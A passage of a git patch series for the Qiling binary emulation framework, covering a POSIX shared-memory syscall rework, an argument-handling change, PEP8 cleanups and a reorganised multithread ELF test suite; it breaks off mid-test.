os.exit(0) From 0dd8545e25c8c70a4c0850e8b81bdabdccb22d20 Mon Sep 17 00:00:00 2001 From: elicn Date: Thu, 13 Apr 2023 22:04:55 +0300 Subject: [PATCH 065/103] Re-implement POSIX shm --- qiling/os/posix/posix.py | 55 +++++++++--- qiling/os/posix/syscall/shm.py | 147 ++++++++++++++++++++------------- 2 files changed, 135 insertions(+), 67 deletions(-) diff --git a/qiling/os/posix/posix.py b/qiling/os/posix/posix.py index 1d639ce13..e7e609b98 100644 --- a/qiling/os/posix/posix.py +++ b/qiling/os/posix/posix.py @@ -4,7 +4,7 @@ # from inspect import signature, Parameter -from typing import Dict, NamedTuple, TextIO, Union, Callable, IO, List, Optional +from typing import Dict, TextIO, Tuple, Union, Callable, IO, List, Optional from unicorn.arm64_const import UC_ARM64_REG_X8, UC_ARM64_REG_X16 from unicorn.arm_const import ( @@ -91,14 +91,49 @@ def restore(self, fds): self.__fds = fds -# vaguely reflects a shmid_ds structure -class QlShmId(NamedTuple): - segsz: int - uid: int - gid: int - # cuid: int - # cgid: int - mode: int +# vaguely reflects a shmid64_ds structure +class QlShmId: + + def __init__(self, key: int, uid: int, gid: int, mode: int, segsz: int) -> None: + # ipc64_perm + self.key = key + self.uid = uid + self.gid = gid + self.mode = mode + + self.segsz = segsz + + # track the memory locations this segment is currently attached to + self.attach: List[int] = [] + + +class QlShm: + def __init__(self) -> None: + self.__shm: Dict[int, QlShmId] = {} + self.__id: int = 0x0F000000 + + def __len__(self) -> int: + return len(self.__shm) + + def add(self, shm: QlShmId) -> int: + shmid = self.__id + self.__shm[shmid] = shm + + self.__id += 0x1000 + + return shmid + + def remove(self, shmid: int) -> None: + del self.__shm[shmid] + + def get_by_key(self, key: int) -> Tuple[int, Optional[QlShmId]]: + return next(((shmid, shmobj) for shmid, shmobj in self.__shm.items() if shmobj.key == key), (-1, None)) + + def get_by_id(self, shmid: int) -> Optional[QlShmId]: + return self.__shm.get(shmid, None) + + def get_by_attaddr(self, shmaddr: int) -> Optional[QlShmId]: + return next((shmobj for shmobj in self.__shm.values() if shmobj.attach.count(shmaddr) > 0), None) class QlOsPosix(QlOs): @@ -167,7 +202,7 @@ def __init__(self, ql: Qiling): self.stdout = self._stdout self.stderr = self._stderr - self._shm: Dict[int, QlShmId] = {} + self._shm = QlShm() def __get_syscall_mapper(self, archtype: QL_ARCH): qlos_path = f'.os.{self.type.name.lower()}.map_syscall' diff --git a/qiling/os/posix/syscall/shm.py b/qiling/os/posix/syscall/shm.py index 4d2f5e162..760094427 100644 --- a/qiling/os/posix/syscall/shm.py +++ b/qiling/os/posix/syscall/shm.py @@ -3,107 +3,140 @@ # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -from unicorn.unicorn_const import UC_PROT_WRITE, UC_PROT_READ +from unicorn.unicorn_const import UC_PROT_READ, UC_PROT_WRITE, UC_PROT_EXEC from qiling import Qiling -from qiling.exception import QlOutOfMemory +from qiling.const import QL_ARCH +from qiling.exception import QlMemoryMappedError from qiling.os.posix.const import * from qiling.os.posix.posix import QlShmId def ql_syscall_shmget(ql: Qiling, key: int, size: int, shmflg: int): - def __create_shm(size: int, flags: int) -> int: - perms = flags & ((1 << 9) - 1) + def __create_shm(key: int, size: int, flags: int) -> int: + """Create a new shared memory segment for the specified key. - posix_to_uc = ( - (SHM_W, UC_PROT_WRITE), - (SHM_R, UC_PROT_READ) - ) + Returns: shmid of the newly created segment, -1 if an error has occured + """ - # convert posix permissions to unicorn memory access bits - uc_perms = sum(u_perm for p_perm, u_perm in posix_to_uc if perms & p_perm) + if len(ql.os.shm) >= SHMMNI: + return -1 # ENOSPC + + mode = flags & ((1 << 9) - 1) # determine size alignment: either normal or huge page if flags & SHM_HUGETLB: shiftsize = (flags >> HUGETLB_FLAG_ENCODE_SHIFT) & HUGETLB_FLAG_ENCODE_MASK - pagesize = (1 << shiftsize) + alignment = (1 << shiftsize) else: - pagesize = ql.mem.pagesize + alignment = ql.mem.pagesize - if len(ql.os.shm) < SHMMNI: - shm_size = ql.mem.align_up(size, pagesize) - - try: - shm_addr = ql.mem.find_free_space(shm_size, ql.loader.mmap_address, align=pagesize) - except QlOutOfMemory: - return -1 # ENOMEM - else: - ql.mem.map(shm_addr, shm_size, uc_perms, '[shm]') + shm_size = ql.mem.align_up(size, alignment) - # for simplicity, the shm key is defined to be its base address - shm_key = shm_addr + shmid = ql.os.shm.add(QlShmId(key, ql.os.uid, ql.os.gid, mode, shm_size)) - ql.os.shm[shm_key] = QlShmId(shm_size, ql.os.uid, ql.os.gid, perms) - - else: - return -1 # ENOSPC + ql.log.debug(f'created a new shm: key = {key:#x}, mode = 0{mode:o}, size = {shm_size:#x}. assigned id: {shmid:#x}') - return shm_key + return shmid # create new shared memory segment if key == IPC_PRIVATE: - key = __create_shm(size, shmflg) + shmid = __create_shm(key, size, shmflg) - # a shm with the specified key exists - elif key in ql.os.shm: - # user asked to create a new one? - if shmflg & (IPC_CREAT | IPC_EXCL): - return -1 # EEXIST + else: + shmid, shm = ql.os.shm.get_by_key(key) - shmid = ql.os.shm[key] + # a shm with the specified key does not exist + if shm is None: + # the user asked to create a new one? + if shmflg & IPC_CREAT: + shmid = __create_shm(key, size, shmflg) - # check whether the user has permissions to access this shm - # FIXME: should probably use ql.os.cuid instead, but we don't support it yet - if (ql.os.uid == shmid.uid) and (shmid.mode & (SHM_W | SHM_R)): - return key + else: + return -1 # ENOENT + # a shm with the specified key exists else: - return -1 # EACCES + # the user asked to create a new one? + if shmflg & (IPC_CREAT | IPC_EXCL): + return -1 # EEXIST - # a shm with the specified key does not exist - else: - # user asked to create a new one? - if shmflg & IPC_CREAT: - key = __create_shm(size, shmflg) + # check whether the user has permissions to access this shm + # FIXME: should probably use ql.os.cuid instead, but we don't support it yet + if (ql.os.uid == shm.uid) and (shm.mode & (SHM_W | SHM_R)): + return shmid - else: - return -1 # ENOENT + else: + return -1 # EACCES - return key + return shmid def ql_syscall_shmat(ql: Qiling, shmid: int, shmaddr: int, shmflg: int): - if shmid not in ql.os.shm: + shm = ql.os.shm.get_by_id(shmid) + + # a shm with the specified key does not exist + if shm is None: return -1 # EINVAL if shmaddr == 0: - # system may choose any suitable page-aligned address. since existing segments are - # guaranteed to be aligned and key is defined to be shm base address, we can just - # use the key - addr = shmid + # system may choose any suitable page-aligned address + attaddr = ql.mem.find_free_space(shm.segsz, ql.loader.mmap_address) elif shmflg & SHM_RND: - # note: should align to SHMLBA, but usually its value is just a page - addr = ql.mem.align(shmaddr) + # select the appropriate SHMLBA value, based on the platform + shmlba = { + QL_ARCH.MIPS: 0x40000, + QL_ARCH.ARM: ql.mem.pagesize * 4, + QL_ARCH.ARM64: ql.mem.pagesize * 4, + QL_ARCH.X86: ql.mem.pagesize, + QL_ARCH.X8664: ql.mem.pagesize + } + + # align the address specified by shmaddr to platform SHMLBA + attaddr = ql.mem.align(shmaddr, shmlba[ql.arch.type]) else: + # shmaddr is expected to be aligned if shmaddr & (ql.mem.pagesize - 1): return -1 # EINVAL - addr = shmaddr + attaddr = shmaddr + + perms = UC_PROT_READ + + if shmflg & SHM_RDONLY == 0: + perms |= UC_PROT_WRITE + + if shmflg & SHM_EXEC: + perms |= UC_PROT_EXEC + + # user asked to attached the seg as readable; is it allowed? + if (perms & UC_PROT_READ) and not (shm.mode & SHM_R): + return -1 # EACCES + + # user asked to attached the seg as writable; is it allowed? + if (perms & UC_PROT_WRITE) and not (shm.mode & SHM_W): + return -1 # EACCES + + # TODO: if segment is already attached, there is no need to map another memory for it. + # if we do, data changes will not be reflected between the segment attachments. we could + # use a mmio map for additional attachments, and have writes and reads directed to the + # first attachment mapping + + try: + # attach the segment at shmaddr + ql.mem.map(attaddr, shm.segsz, perms, '[shm]') + except QlMemoryMappedError: + return -1 # EINVAL + + # track attachment + shm.attach.append(attaddr) + + ql.log.debug(f'shm {shmid:#x} attached at {attaddr:#010x}') - return addr + return attaddr __all__ = [ From 817bdb744df6b1e73363afa23c6b7de3a9b58fb9 Mon Sep 17 00:00:00 2001 From: elicn Date: Thu, 13 Apr 2023 22:10:25 +0300 Subject: [PATCH 066/103] Add POSIX shmdt syscall --- qiling/os/posix/syscall/shm.py | 12 ++++++++++++ qiling/os/posix/syscall/syscall.py | 4 ++++ 2 files changed, 16 insertions(+) diff --git a/qiling/os/posix/syscall/shm.py b/qiling/os/posix/syscall/shm.py index 760094427..7bd8228ac 100644 --- a/qiling/os/posix/syscall/shm.py +++ b/qiling/os/posix/syscall/shm.py @@ -139,7 +139,19 @@ def ql_syscall_shmat(ql: Qiling, shmid: int, shmaddr: int, shmflg: int): return attaddr +def ql_syscall_shmdt(ql: Qiling, shmaddr: int): + shm = ql.os.shm.get_by_attaddr(shmaddr) + + if shm is None: + return -1 # EINVAL + + shm.attach.remove(shmaddr) + + return 0 + + __all__ = [ 'ql_syscall_shmget', + 'ql_syscall_shmdt', 'ql_syscall_shmat' ] diff --git a/qiling/os/posix/syscall/syscall.py b/qiling/os/posix/syscall/syscall.py index 3fe7cbe33..3aba66931 100644 --- a/qiling/os/posix/syscall/syscall.py +++ b/qiling/os/posix/syscall/syscall.py @@ -22,11 +22,15 @@ def __call_shmat(*args: int) -> int: return ql_syscall_shmat(ql, args[0], args[3], args[1]) + def __call_shmdt(*args: int) -> int: + return ql_syscall_shmdt(ql, args[3]) + def __call_shmget(*args: int) -> int: return ql_syscall_shmget(ql, args[0], args[1], args[2]) ipc_call = { SHMAT: __call_shmat, + SHMDT: __call_shmdt, SHMGET: __call_shmget } From a95b22bdaf3b6da04b29c9b7801f3251ae441455 Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 14 Apr 2023 14:53:10 +0300 Subject: [PATCH 067/103] Make argv and code mutually exclusive --- qiling/core.py | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/qiling/core.py b/qiling/core.py index 536ddbd54..6cc5c4706 100644 --- a/qiling/core.py +++ b/qiling/core.py @@ -32,10 +32,10 @@ class Qiling(QlCoreHooks, QlCoreStructs): def __init__( self, - argv: Sequence[str] = None, + argv: Sequence[str] = [], rootfs: str = r'.', env: MutableMapping[AnyStr, AnyStr] = {}, - code: bytes = None, + code: Optional[bytes] = None, ostype: Union[str, QL_OS] = None, archtype: Union[str, QL_ARCH] = None, verbose: QL_VERBOSE = QL_VERBOSE.DEFAULT, @@ -90,18 +90,26 @@ def __init__( ############## # argv setup # ############## - if argv is None: - argv = ['qilingcode'] + if argv: + if code: + raise AttributeError('argv and code are mutually execlusive') - elif not os.path.exists(argv[0]): - raise QlErrorFileNotFound(f'Target binary not found: "{argv[0]}"') + target = argv[0] + + if not os.path.isfile(target): + raise QlErrorFileNotFound(f'Target binary not found: "{target}"') + else: + # an empty argv list means we are going to execute a shellcode. to keep + # the 'path' api compatible, we insert a dummy placeholder + + argv = [''] self._argv = argv ################ # rootfs setup # ################ - if not os.path.exists(rootfs): + if not os.path.isdir(rootfs): raise QlErrorFileNotFound(f'Target rootfs not found: "{rootfs}"') self._rootfs = rootfs From 609ea313be41df516f799fb9788cbfc5a7631704 Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 14 Apr 2023 15:08:06 +0300 Subject: [PATCH 068/103] Opportunistic PEP8 fixes --- qiling/loader/loader.py | 4 ++- qiling/log.py | 40 ++++++++++++++++++++--------- qiling/utils.py | 57 ++++++++++++++++++++++++++++------------- 3 files changed, 70 insertions(+), 31 deletions(-) diff --git a/qiling/loader/loader.py b/qiling/loader/loader.py index 6be0ccf1d..3ad3a3d74 100644 --- a/qiling/loader/loader.py +++ b/qiling/loader/loader.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -8,11 +8,13 @@ from qiling import Qiling + class Image(NamedTuple): base: int end: int path: str + class QlLoader: def __init__(self, ql: Qiling): self.ql = ql diff --git a/qiling/log.py b/qiling/log.py index d085266ed..46026b8db 100644 --- a/qiling/log.py +++ b/qiling/log.py @@ -3,20 +3,28 @@ # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # +from __future__ import annotations + import copy import logging import os import re import weakref -from typing import Optional, TextIO +from typing import TYPE_CHECKING, Optional, TextIO +from logging import Filter, Formatter, LogRecord, Logger, NullHandler, StreamHandler, FileHandler from qiling.const import QL_VERBOSE +if TYPE_CHECKING: + from qiling import Qiling + + QL_INSTANCE_ID = 114514 FMT_STR = '%(levelname)s\t%(message)s' + class COLOR: WHITE = '\033[37m' CRIMSON = '\033[31m' @@ -28,7 +36,8 @@ class COLOR: CYAN = '\033[96m' ENDC = '\033[0m' -class QlBaseFormatter(logging.Formatter): + +class QlBaseFormatter(Formatter): __level_tag = { 'WARNING' : '[!]', 'INFO' : '[=]', @@ -37,7 +46,7 @@ class QlBaseFormatter(logging.Formatter): 'ERROR' : '[x]' } - def __init__(self, ql, *args, **kwargs): + def __init__(self, ql: Qiling, *args, **kwargs): super().__init__(*args, **kwargs) self.ql = weakref.proxy(ql) @@ -47,7 +56,7 @@ def get_level_tag(self, level: str) -> str: def get_thread_tag(self, thread: str) -> str: return thread - def format(self, record: logging.LogRecord): + def format(self, record: LogRecord): # In case we have multiple formatters, we have to keep a copy of the record. record = copy.copy(record) @@ -64,6 +73,7 @@ def format(self, record: logging.LogRecord): return super().format(record) + class QlColoredFormatter(QlBaseFormatter): __level_color = { 'WARNING' : COLOR.YELLOW, @@ -83,15 +93,17 @@ def get_thread_tag(self, tid: str) -> str: return f'{COLOR.GREEN}{s}{COLOR.ENDC}' -class RegexFilter(logging.Filter): + +class RegexFilter(Filter): def update_filter(self, regexp: str): self._filter = re.compile(regexp) - def filter(self, record: logging.LogRecord): + def filter(self, record: LogRecord): msg = record.getMessage() return self._filter.match(msg) is not None + def resolve_logger_level(verbose: QL_VERBOSE) -> int: return { QL_VERBOSE.DISABLED : logging.CRITICAL, @@ -102,6 +114,7 @@ def resolve_logger_level(verbose: QL_VERBOSE) -> int: QL_VERBOSE.DUMP : logging.DEBUG }[verbose] + def __is_color_terminal(stream: TextIO) -> bool: """Determine whether standard output is attached to a color terminal. @@ -142,7 +155,8 @@ def __default(_: int) -> bool: return handler(stream.fileno()) -def setup_logger(ql, log_file: Optional[str], console: bool, log_override: Optional[logging.Logger], log_plain: bool): + +def setup_logger(ql: Qiling, log_file: Optional[str], console: bool, log_override: Optional[Logger], log_plain: bool): global QL_INSTANCE_ID # If there is an override for our logger, then use it. @@ -155,13 +169,14 @@ def setup_logger(ql, log_file: Optional[str], console: bool, log_override: Optio # Disable propagation to avoid duplicate output. log.propagate = False + # Clear all handlers and filters. - log.handlers = [] - log.filters = [] + log.handlers.clear() + log.filters.clear() # Do we have console output? if console: - handler = logging.StreamHandler() + handler = StreamHandler() if log_plain or not __is_color_terminal(handler.stream): formatter = QlBaseFormatter(ql, FMT_STR) @@ -171,12 +186,12 @@ def setup_logger(ql, log_file: Optional[str], console: bool, log_override: Optio handler.setFormatter(formatter) log.addHandler(handler) else: - handler = logging.NullHandler() + handler = NullHandler() log.addHandler(handler) # Do we have to write log to a file? if log_file is not None: - handler = logging.FileHandler(log_file) + handler = FileHandler(log_file) formatter = QlBaseFormatter(ql, FMT_STR) handler.setFormatter(formatter) log.addHandler(handler) @@ -185,4 +200,5 @@ def setup_logger(ql, log_file: Optional[str], console: bool, log_override: Optio return log + __all__ = ['RegexFilter', 'setup_logger', 'resolve_logger_level'] diff --git a/qiling/utils.py b/qiling/utils.py index ccdd970ee..05cb0a43e 100644 --- a/qiling/utils.py +++ b/qiling/utils.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -8,11 +8,13 @@ thoughout the qiling framework """ -from functools import partial -from pathlib import Path -import importlib, inspect, os +import importlib +import inspect +import os +from functools import partial from configparser import ConfigParser +from pathlib import Path from types import ModuleType from typing import TYPE_CHECKING, Any, Callable, Mapping, Optional, Tuple, TypeVar, Union @@ -38,27 +40,32 @@ def __name_to_enum(name: str, mapping: Mapping[str, T], aliases: Mapping[str, st return mapping.get(aliases.get(key) or key) + def os_convert(os: str) -> Optional[QL_OS]: alias_map = { - 'darwin' : 'macos' + 'darwin': 'macos' } return __name_to_enum(os, os_map, alias_map) + def arch_convert(arch: str) -> Optional[QL_ARCH]: alias_map = { - 'x86_64' : 'x8664', - 'riscv32' : 'riscv' + 'x86_64': 'x8664', + 'riscv32': 'riscv' } return __name_to_enum(arch, arch_map, alias_map) + def debugger_convert(debugger: str) -> Optional[QL_DEBUGGER]: return __name_to_enum(debugger, debugger_map) + def arch_os_convert(arch: QL_ARCH) -> Optional[QL_OS]: return arch_os_map.get(arch) + def ql_get_module(module_name: str) -> ModuleType: try: module = importlib.import_module(module_name, 'qiling') @@ -67,6 +74,7 @@ def ql_get_module(module_name: str) -> ModuleType: return module + def ql_get_module_function(module_name: str, member_name: str): module = ql_get_module(module_name) @@ -77,6 +85,7 @@ def ql_get_module_function(module_name: str, member_name: str): return member + def __emu_env_from_pathname(path: str) -> Tuple[Optional[QL_ARCH], Optional[QL_OS], Optional[QL_ENDIAN]]: if os.path.isdir(path) and path.endswith('.kext'): return QL_ARCH.X8664, QL_OS.MACOS, QL_ENDIAN.EL @@ -89,6 +98,7 @@ def __emu_env_from_pathname(path: str) -> Tuple[Optional[QL_ARCH], Optional[QL_O return None, None, None + def __emu_env_from_elf(path: str) -> Tuple[Optional[QL_ARCH], Optional[QL_OS], Optional[QL_ENDIAN]]: # instead of using full-blown elffile parsing, we perform a simple parsing to avoid # external dependencies for target systems that do not need them. @@ -99,7 +109,7 @@ def __emu_env_from_elf(path: str) -> Tuple[Optional[QL_ARCH], Optional[QL_OS], O ELFCLASS32 = 1 # 32-bit ELFCLASS64 = 2 # 64-bit - #ei_data + # ei_data ELFDATA2LSB = 1 # little-endian ELFDATA2MSB = 2 # big-endian @@ -121,8 +131,8 @@ def __emu_env_from_elf(path: str) -> Tuple[Optional[QL_ARCH], Optional[QL_OS], O EM_PPC = 20 endianess = { - ELFDATA2LSB : (QL_ENDIAN.EL, 'little'), - ELFDATA2MSB : (QL_ENDIAN.EB, 'big') + ELFDATA2LSB: (QL_ENDIAN.EL, 'little'), + ELFDATA2MSB: (QL_ENDIAN.EB, 'big') } machines32 = { @@ -140,8 +150,8 @@ def __emu_env_from_elf(path: str) -> Tuple[Optional[QL_ARCH], Optional[QL_OS], O } classes = { - ELFCLASS32 : machines32, - ELFCLASS64 : machines64 + ELFCLASS32: machines32, + ELFCLASS64: machines64 } abis = { @@ -192,6 +202,7 @@ def __emu_env_from_elf(path: str) -> Tuple[Optional[QL_ARCH], Optional[QL_OS], O return archtype, ostype, archendian + def __emu_env_from_macho(path: str) -> Tuple[Optional[QL_ARCH], Optional[QL_OS], Optional[QL_ENDIAN]]: macho_macos_sig64 = b'\xcf\xfa\xed\xfe' macho_macos_sig32 = b'\xce\xfa\xed\xfe' @@ -220,6 +231,7 @@ def __emu_env_from_macho(path: str) -> Tuple[Optional[QL_ARCH], Optional[QL_OS], return arch, ostype, endian + def __emu_env_from_pe(path: str) -> Tuple[Optional[QL_ARCH], Optional[QL_OS], Optional[QL_ENDIAN]]: import pefile @@ -260,6 +272,7 @@ def __emu_env_from_pe(path: str) -> Tuple[Optional[QL_ARCH], Optional[QL_OS], Op return arch, ostype, archendian + def ql_guess_emu_env(path: str) -> Tuple[Optional[QL_ARCH], Optional[QL_OS], Optional[QL_ENDIAN]]: guessing_methods = ( __emu_env_from_pathname, @@ -278,9 +291,10 @@ def ql_guess_emu_env(path: str) -> Tuple[Optional[QL_ARCH], Optional[QL_OS], Opt return arch, ostype, endian + def select_loader(ostype: QL_OS, libcache: bool) -> QlClassInit['QlLoader']: if ostype == QL_OS.WINDOWS: - kwargs = {'libcache' : libcache} + kwargs = {'libcache': libcache} else: kwargs = {} @@ -305,6 +319,7 @@ def select_loader(ostype: QL_OS, libcache: bool) -> QlClassInit['QlLoader']: return partial(obj, **kwargs) + def select_component(component_type: str, component_name: str, **kwargs) -> QlClassInit[Any]: component_path = f'.{component_type}.{component_name}' component_class = f'Ql{component_name.capitalize()}Manager' @@ -313,6 +328,7 @@ def select_component(component_type: str, component_name: str, **kwargs) -> QlCl return partial(obj, **kwargs) + def select_debugger(options: Union[str, bool]) -> Optional[QlClassInit['QlDebugger']]: if options is True: options = 'gdb' @@ -353,14 +369,15 @@ def __int_nothrow(v: str, /) -> Optional[int]: return None + def select_arch(archtype: QL_ARCH, endian: QL_ENDIAN, thumb: bool) -> QlClassInit['QlArch']: # set endianess and thumb mode for arm-based archs - if archtype == QL_ARCH.ARM: - kwargs = {'endian' : endian, 'thumb' : thumb} + if archtype is QL_ARCH.ARM: + kwargs = {'endian': endian, 'thumb': thumb} # set endianess for mips arch - elif archtype == QL_ARCH.MIPS: - kwargs = {'endian' : endian} + elif archtype is QL_ARCH.MIPS: + kwargs = {'endian': endian} else: kwargs = {} @@ -386,6 +403,7 @@ def select_arch(archtype: QL_ARCH, endian: QL_ENDIAN, thumb: bool) -> QlClassIni return partial(obj, **kwargs) + def select_os(ostype: QL_OS) -> QlClassInit['QlOs']: qlos_name = ostype.name qlos_path = f'.os.{qlos_name.lower()}.{qlos_name.lower()}' @@ -395,9 +413,10 @@ def select_os(ostype: QL_OS) -> QlClassInit['QlOs']: return partial(obj) + def profile_setup(ostype: QL_OS, user_config: Optional[Union[str, dict]]): # mcu uses a yaml-based config - if ostype == QL_OS.MCU: + if ostype is QL_OS.MCU: import yaml if user_config: @@ -426,6 +445,7 @@ def profile_setup(ostype: QL_OS, user_config: Optional[Union[str, dict]]): return config + # verify if emulator returns properly def verify_ret(ql: 'Qiling', err): # init_sp location is not consistent; this is here to work around that @@ -463,6 +483,7 @@ def verify_ret(ql: 'Qiling', err): else: raise + __all__ = [ 'os_convert', 'arch_convert', From 717899b55f98fdddce67ec4a2839d1fe54d98a1f Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 14 Apr 2023 15:12:22 +0300 Subject: [PATCH 069/103] Decouple runtime dependencies --- qiling/loader/loader.py | 7 +++++-- qiling/loader/pe.py | 16 +++++++++++++--- 2 files changed, 18 insertions(+), 5 deletions(-) diff --git a/qiling/loader/loader.py b/qiling/loader/loader.py index 3ad3a3d74..32475f5fe 100644 --- a/qiling/loader/loader.py +++ b/qiling/loader/loader.py @@ -3,10 +3,13 @@ # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # +from __future__ import annotations + import os -from typing import Any, Mapping, MutableSequence, NamedTuple, Optional +from typing import TYPE_CHECKING, Any, Mapping, MutableSequence, NamedTuple, Optional -from qiling import Qiling +if TYPE_CHECKING: + from qiling import Qiling class Image(NamedTuple): diff --git a/qiling/loader/pe.py b/qiling/loader/pe.py index 439a6ae13..9234bbafa 100644 --- a/qiling/loader/pe.py +++ b/qiling/loader/pe.py @@ -3,13 +3,18 @@ # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -import os, pefile, pickle, secrets, ntpath -from typing import Any, Dict, MutableMapping, NamedTuple, Optional, Mapping, Sequence, Tuple, Union +from __future__ import annotations + +import os +import pefile +import pickle +import secrets +import ntpath +from typing import TYPE_CHECKING, Any, Dict, MutableMapping, NamedTuple, Optional, Mapping, Sequence, Tuple, Union from unicorn import UcError from unicorn.x86_const import UC_X86_REG_CR4, UC_X86_REG_CR8 -from qiling import Qiling from qiling.arch.x86_const import FS_SEGMENT_ADDR, GS_SEGMENT_ADDR from qiling.const import QL_ARCH, QL_STATE from qiling.exception import QlErrorArch @@ -20,6 +25,10 @@ from qiling.os.windows.structs import * from .loader import QlLoader, Image +if TYPE_CHECKING: + from qiling import Qiling + + class QlPeCacheEntry(NamedTuple): ba: int data: bytearray @@ -859,6 +868,7 @@ def load(self, pe: Optional[pefile.PE]): self.ql.os.entry_point = self.entry_point self.init_sp = self.ql.arch.regs.arch_sp + class ShowProgress: """Display a progress animation while performing a time consuming task. From ace56d890dea2dcce3c05442ce58aabe9a5878ad Mon Sep 17 00:00:00 2001 From: elicn Date: Sun, 16 Apr 2023 19:48:31 +0300 Subject: [PATCH 070/103] Rearrange and fix ELF MT test suite --- tests/test_elf_multithread.py | 687 ++++++++++++++++++++++------------ 1 file changed, 448 insertions(+), 239 deletions(-) diff --git a/tests/test_elf_multithread.py b/tests/test_elf_multithread.py index 2121deb46..c6a7fd4ef 100644 --- a/tests/test_elf_multithread.py +++ b/tests/test_elf_multithread.py @@ -3,353 +3,550 @@ # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -import http.client, platform, socket, sys, os, threading, time, unittest +import http.client +import platform +import re +import sys +import os +import threading +import time +import unittest + +from typing import List sys.path.append("..") from qiling import Qiling from qiling.const import * from qiling.exception import * from qiling.os.filestruct import ql_file +from qiling.os.stats import QlOsNullStats + + +BASE_ROOTFS = r'../examples/rootfs' +X86_LINUX_ROOTFS = fr'{BASE_ROOTFS}/x86_linux' +X64_LINUX_ROOTFS = fr'{BASE_ROOTFS}/x8664_linux' +ARM_LINUX_ROOTFS = fr'{BASE_ROOTFS}/arm_linux' +ARMEB_LINUX_ROOTFS = fr'{BASE_ROOTFS}/armeb_linux' +ARM64_LINUX_ROOTFS = fr'{BASE_ROOTFS}/arm64_linux' +MIPSEB_LINUX_ROOTFS = fr'{BASE_ROOTFS}/mips32_linux' +MIPSEL_LINUX_ROOTFS = fr'{BASE_ROOTFS}/mips32el_linux' + class ELFTest(unittest.TestCase): @unittest.skipIf(platform.system() == "Darwin" and platform.machine() == "arm64", 'darwin host') def test_elf_linux_execve_x8664(self): - ql = Qiling(["../examples/rootfs/x8664_linux/bin/posix_syscall_execve"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + ql = Qiling([fr'{X64_LINUX_ROOTFS}/bin/posix_syscall_execve'], X64_LINUX_ROOTFS, verbose=QL_VERBOSE.DEBUG) ql.run() - for key, value in ql.loader.env.items(): - QL_TEST=value + env = ql.loader.env - self.assertEqual("TEST_QUERY", QL_TEST) - self.assertEqual("child", ql.loader.argv[0]) - - del QL_TEST - del ql + self.assertIn('QL_TEST', env) + self.assertEqual('TEST_QUERY', env['QL_TEST']) + self.assertEqual('child', ql.loader.argv[0]) def test_elf_linux_cloexec_x8664(self): - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_cloexec_test"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG, multithread=True) + ql = Qiling([fr'{X64_LINUX_ROOTFS}/bin/x8664_cloexec_test'], X64_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) - filename = 'output.txt' - err = ql_file.open(filename, os.O_RDWR | os.O_CREAT, 0o777) + filename = 'stderr.txt' + err = ql_file.open(filename, os.O_RDWR | os.O_CREAT, 0o644) + ql.os.stats = QlOsNullStats() ql.os.stderr = err + ql.run() err.close() - with open(filename, 'rb') as f: - content = f.read() + with open(filename, 'r') as f: + contents = f.readlines() # cleanup os.remove(filename) - self.assertIn(b'fail', content) - - del ql + self.assertGreaterEqual(len(contents), 4) + self.assertIn('Operation not permitted', contents[-2]) + self.assertIn('Operation not permitted', contents[-1]) def test_multithread_elf_linux_x86(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - nonlocal buf_out - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - buf_out = buf - except: - pass - buf_out = None - ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_multithreading"], "../examples/rootfs/x86_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 1: + content = ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{X86_LINUX_ROOTFS}/bin/x86_multithreading'], X86_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - self.assertTrue("thread 2 ret val is" in buf_out) - - del ql + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('thread 1 ret val is')) + self.assertTrue(logged[-1].startswith('thread 2 ret val is')) def test_multithread_elf_linux_arm64(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - nonlocal buf_out - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - buf_out = buf - except: - pass - buf_out = None - ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_multithreading"], "../examples/rootfs/arm64_linux", multithread=True, verbose=QL_VERBOSE.DEBUG) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 1: + content = ql.mem.read(write_buf, count) + + logged.append(content.decode()) + + ql = Qiling([fr'{ARM64_LINUX_ROOTFS}/bin/arm64_multithreading'], ARM64_LINUX_ROOTFS, multithread=True, verbose=QL_VERBOSE.DEBUG) + + ql.os.stats = QlOsNullStats() ql.os.set_syscall("write", check_write, QL_INTERCEPT.ENTER) ql.run() - self.assertTrue("thread 2 ret val is" in buf_out) - - del ql + self.assertGreaterEqual(len(logged), 2) + self.assertTrue(logged[-2].startswith('thread 1 ret val is')) + self.assertTrue(logged[-1].startswith('thread 2 ret val is')) def test_multithread_elf_linux_x8664(self): - def check_write(ql, write_fd, write_buf, write_count, *args, **kw): - nonlocal buf_out - try: - buf = ql.mem.read(write_buf, write_count) - buf = buf.decode() - buf_out = buf - except: - pass - buf_out = None - ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_multithreading"], "../examples/rootfs/x8664_linux", multithread=True) + logged: List[str] = [] + + def check_write(ql: Qiling, fd: int, write_buf, count: int): + if fd == 1: + content = 